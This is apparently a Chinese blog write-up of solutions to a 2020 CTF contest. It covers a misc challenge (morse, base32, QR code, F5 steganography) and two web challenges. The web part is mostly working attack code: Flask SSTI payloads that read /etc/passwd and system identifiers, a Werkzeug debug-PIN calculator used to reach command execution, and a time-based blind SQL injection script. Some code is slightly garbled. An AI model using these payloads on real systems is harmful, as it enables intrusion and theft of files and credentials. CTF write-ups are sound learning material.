2020年春秋杯新春战“疫”WriteUp

为逆行者加油

Posted by Eli0t on 2020-03-07

Misc

code in morse

首先是一个wireshark流量文件分析发现一次upload现象,并且上传文件是被摩斯密码编码的。复制出来,在网站上解码(这里我找了很多解码网站,很多的网站都解码不出来。网址是:)
解码后是

1
RFIE4RYNBINAUAAAAAGUSSCEKIAAAAEUAAAAA7AIAYAAAAEPFOMTWAAABANUSRCBKR4F53M52F3NWOAMIQ37776R5GE6YNAWJPUA4ZBZM6M5ZPRVWIURUHGMBRAMU7T3P57X776PP5DOBIQIXQE2RCZC5EYFWBAESRALQNACALVNE4B2TCABEA4XIZQAVKFXW632O3XS5HZT7R2J747545E4Y7K6HJA7WI5Y62W4OH7HJ75RL2VOMUMN2OOXOWU7RXV7U6D7AFC2X6TBGSDQII3ABOUCCARS2Q7CAATKD2HRTI6JKAZNIXYGK3ZO4POZENG566RDQVSAKWF26VLJJPC5VD2FAATKAMCHTP27Y5IKTWNNAKLVNEPUXLH6XVICOQMXGHEPDBYZYXZ2R6KKTU7ZF7X2CBGUXSOSHICOPIPQCJNAT3JO5ND5OHLBW5BF4CWNI5BFKTERWIUWFZYKVVKURWS7PI4FEXURAUFXBD6JQKSPZFJ7EXRCPEUSHJMS7GVKVDOG7W6F4ZL4XILUVCKWGFZ3KV2I5WBR7R2QALVHNSEWCKDCIXCA3VJU2QAJVCUZSO3LZICZJAASKAD2LKQ6BLVPQLUDSDLFPZP2WOTPLVLNABG7SPICMT3K52QLTWK3Y4NBXIMX5NRKJIA5FLO6Y3LVP55BPDITRVN2UYEZ33ERFZ2R4KTFVJVECKKRXKA2LRCKQFHEAIEAKZWYCKXRXLGJYJXQKZ445HWLUPAFGIC7FV46SB5MERIYNWSHUCNUQP5OB4S2BDQ7627HULZQRW3QYNKQKU3VHCNJSU6E36IUEPU2TBGKZOSB22N2R6TPY7XUG32VIXLTHGHJXGWNWMTJOGFMAJHOVWIIGDSG2KOONGK7UDFQS4ZOK2OAXKAXWZRTOTZQ2Q7CKRKRWAK6IAK2SRYLT72DGHQXRJGGDN57EJBZ2M7VJHOGJKEHU5ASU2KKTFB4SW5MB5C4YR4SSKNON3XLSS6K7CGJKAZNIP6E7RVUY6OFIBTTXYREMWKWPIDKRPTJSMRJPUXKUOWT5IZP3HEJ65OYVILIUGUI2QHGH32VAAXKO23H2BTIAF2UF4QESSANVEKPILOY63ZA5GUZRLLCIQSY6IRWLSTWULC5KBRAFOQPPEED3VB6IKKDRSN2FF4UVXS7KT6TUQCRQZ2DXZS5AYOCLLHKK6I2JUPRSK2HVI3YKBTZXWQDNGI3FMYHFMO3BIYABKUPTFSK3J4KKPKNALUMP5NFERHUB3I7IWTXQEAAMQUPQGRADFFIMKQ3MQNX3BW7NU4WMITZDB5D3FP3VHD2SPCX65ZVL44VUHQMAHMZLQFKADBFIO2RRKTCDYZJ2BCENKZ2LY2TIKSH3MMU3EUB5T26E4TP4NK3F6KRSTI3TEKTBKXTJYKHQATMWUDXT5T4CUYXK6U5H2LYAKUO5LJIFS2QY4O7KZP3KBCODRBAGLKPDN5WUTLOAKEOJP22CBGU6GXYJUPRTXXHKJLP7D46I2TPFLWQRJ4NIEFDYSNKDYFCERFHAC5NIWXVQXELIUSGKLKZLGT36JMOS7IIPBU76KXNQDJV4ZSXCE7F5P4U4QIRAKPAWRQFJLVHRFJDKIVLAVFOORM7F5S3U5D6AIFDV27JYJ243PIM6UKVSGLKQIZACNKPHVJAQJNPUAWACJNAWYEJBR2Q6LTA3STOLSLO6QZFKQ5QGFEZ5TKCJJ6VKBVNVO7DKG27T3HHJDRVXTPD6H7EW6FI6QB5GHQVKU3VP54TBBQMIDFJ6QFKRZXP4UE2QG3EVJDK3AASKBCE5W3VDHVB4JVC7IXOG5C7J4MZWSRDJFSHKH626LIUGRPZ6T2SEANVP5KDXFNKGQIWQS5J5MC5HBH5GGTHZLGWXKOWSCRQNULFGO4C3ZHUZF6O57K4YV2VYUR5BF3PDMEKR7JZEZJAAEUUORJ32GSHIAG4OWQS5LPPKVU2J7P5AQUQWRK7HE5BX3UWXJNPSKKBICC5Z5Y5L7AESSANUYPUNR2USESHE2ORQMJ5H6KTB6YSTVZD3FA6NLBUASWRM6VZYTXV6E4J6SW2XLZ6RGW7JL5FECJ53N7KRKRXMJGKVJTH6FNIFIOOA26AFHEAXJCUAQGBON2UPZNMBRKW7ZKUDZFYMCQBE5B4SUCTJ6TIOOT6J2XVXXLVRMPT3VGQUCSIAU4DKFJ7535XXUWGDSV3DJHQ2SXK3PILDELUPQVAVKFKJQM2GO47WTXXIZQPKNAE2VSDIDGT2VSSNUFSQAJV7WEY2WKVFSQANMFERVARSSUGEJ7TZLISVGYVPGPSVZTRTRYZXVI6VNNIZ6LFNPL2VAQVECPVZYLF3BR2M2PCXAF5USD6UVR7STM27OSOM7D3XUU2RZD5KWOKSBKIKLW3Q6VCIJTFVJLQDBREGECQBDKTJETLKU5KYQJVABNCATKD4MCVP6G75HT2V4CPQSW64SMM2VIBS2Q65ENEIBIETVJ5MFEFVLPEZXG3JEXX4QXSSUAABGMN67M5CJJVGTWUOS7742UGJK6VG2TGVFVCIYCUE2L44E2VBFJHTFNT7URWE6HSIZ2PF5TR7QST3FEAXIWSCMJO4V74VEACNKEGJF3B2IDGRF3BRAYWTALFVCFR7IZCNGVDEUSAZURUGABG5H6TDDKNEVH4TWZC2DI6FR6XT6W64SDC2JY3WDEXTLOK4ZBKPEXZMPFC4RFCFU5KQ6AEDV6T2MGAJ7HUQQUXSPY2U6VFNR3YDVWWKLK54UE2RPPUBGUJHDZ5SGMUY563JFZIRAPIXIGHLD2Q5IMUQOWIGOS2OADI4FPZ3GPJHQV2BU74SW6AUSPXX57VPJ24ZFJ7FNQIURSX6KQZGLKPDN5TLRKZZEGEN6K7T65EHP2X7E54M4AZQVRPFHRVDOZBLVAJFSHUPIVMTKKFUF4C2X7FBGUNWESTWFYXM37PZIBXQMWUERWUSQTFVD65OZR7YZBUACNIP46K3EQXWY5SUSIYGESUH3NLI6FI6DAFNUHQD5KLADK23QWSXWV4UE2RTF6HNMZWTVLVVZMN6NGKXOPO7AKI7ZO2AYBGV7YFMMCAQKQ65D6VINJOPMPKVO3XS73ICKETFERWLKCFX5YEYQA566QZJPETH7AKRZBJPENQNUWN4K2DYTNLWDKPY2WKGMDCIC5QRQUSO42ZPETOUO3VHUIJSVHSN3UXZ2B6OR6ZYB2J4KX5W6QRKB5QMEKQQVTTVO2LJYMULY2WDFFQWROXMWUELDVPZBIDFVAWQFLR6AJ6POOEHBW2U4UDC7S2FRU4VC47P3WQJ4BROGKLYQXSVIHLE7ZXAIKID2LZFB5JHV4NIAKQCAJFGYXI3AEAXI2JYDRGUDCMBJIR7ABXO3NF6UIUKCLNAAAAAACJIVHEJLSCMCBA

发现是base32加密,于是再一次在网站上解密,附上网站链接:http://www.tomeko.net/online_tools/base32.php?lang=en

直接复制16进制到Hex fiend,以png文件保存。

到这里我就被卡住了,再一次是网站的原因(有些网站识别不出来,有些就行)。直接扫描这个奇怪的二维码,出来一个网址,从网址得到一张图片。

再次卡住。py一下得知是F5隐写(还是题目做的太少了,这个以前都没有遇到过),github上有针对F5隐写的脚本
脚本使用方法:java Extract 123456.jpg -p 123456
但是这张图片没有密码,所以直接java Extract 1yPXJ1.jpg,后会生成output.txt文件,里面就有flag了。

磁盘套娃 | Adolph

见我的另一篇文章,专门写了一下。

Web

Flaskapp(timekeeper)

题目涉及知识点ssti(模板注入)、python调试打开导致PIN可计算。
在/decode下让其出现报错,进入debug模式(泄露部分源码)

1
2
3
4
5
6
7
8
9
10
11
12
13
@app.route('/decode',methods=['POST','GET'])

def decode():

if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash(res)

此处错误使用render_template_string,所以存在ssti模板注入。
验证如下

18 base64 结果为 e3s5Kzl9fQ==,但该应用程序解密的结果为 18

然后就是常规SSTI步骤,但发现过滤了很多字符,像system、popen等系统命令函数都被过滤
既然不能命令执行就尝试读取文件
flask读取文件的payload:

1
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}


但是由于未知flag存放位置,所以就尝试获取pin计算的关键信息。
PIN 机制在Flask debug 模式 PIN 码生成机制安全性研究笔记 一文中有详细的研究。
生成PIN的关键值有如下几个

    1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb
    1. modname 一般不变就是flask.app
    1. getattr(app, “__name__”, app.__class__.__name__)。python该值一般为Flask 值一般不变
    1. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py
    1. 当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡获取Mac地址:
      1
      {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}
    1. 最后一个就是机器的id。
      对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。
      对于docker机则读取/proc/self/cgroup:
      获取machine-id:
      1
      {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      11:memory:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      10:blkio:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      9:cpu,cpuacct:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      8:devices:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      7:cpuset:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      6:hugetlb:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      5:freezer:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      4:perf_event:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      3:net_cls,net_prio:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      2:pids:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      1:name=systemd:/docker/9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53
      其中的 9e06b8a1d939b2125978fb9393e8a021553002ee0a876e6da648099ec3b10d53 这个值就是machine id。
      至此所有关键值都获取完毕剩下的就是计算PIN值
      计算PIN值的关键代码在Lib\site-packages\werkzeug\debug\\init__.py
      提出来代码(kingkk师傅的exp)如下
      Flask debug pin安全问题中的exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'52242498922',#当前网络的mac地址的十进制数,通过文件/sys/class/net/eth0/address,eth0为当前使用的网卡
'19949f18ce36422da1402b3e3fe53008'# 机器的id,/proc/self/cgroup
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =NoneFlaskapp(timekeeper)
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

在解码处使flask报错,鼠标移动到报错上,右侧会出现控制台的符号,点控制台符号,输入pin值,进入python交互式命令行

1
2
3
4
>>> import os
>>> os.popen('ls /').read()
'app\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nrequirements.txt\nroot\nrun\nsbin\nsrv\nsys\nthis_is_the_flag.txt\ntmp\nusr\nvar\n'
>>> os.popen('cat this_is_the_flag.txt').read()

读取flag

盲注(timekeeper)

知识点:mysql正则(regexp)

  1. 根据代码猜测字段名(列名)为flllllllag
  2. 利用burp+fuzz测试出waf
  3. 构建脚本注出flag
    注意:脚本中有两个需要注意的地方,第一个是正则表达是中的.?,第二个是{需要加反斜杠转义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory

import requests

def getFlag(url):
s = ''
r = requests.session()

x = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '\\\\{', '-', '\\\\}']

for i in range(1,43):
for j in x:
t = s + j

data = url + 'id=(if((fl4g regexp "^%s"),sleep(5),1));' % t

result = r.get(data)

if (result.elapsed.total_seconds() > 5):
s = t
print(s)
break
print('flag=' + s)


if __name__ == '__main__':
url = 'http://192.168.113.171:8899/index.php?'

f = getFlag(url)
参考文章

2020年春秋杯新春战“疫”WriteUp
https://blog.csdn.net/qq_42812036/article/details/104497835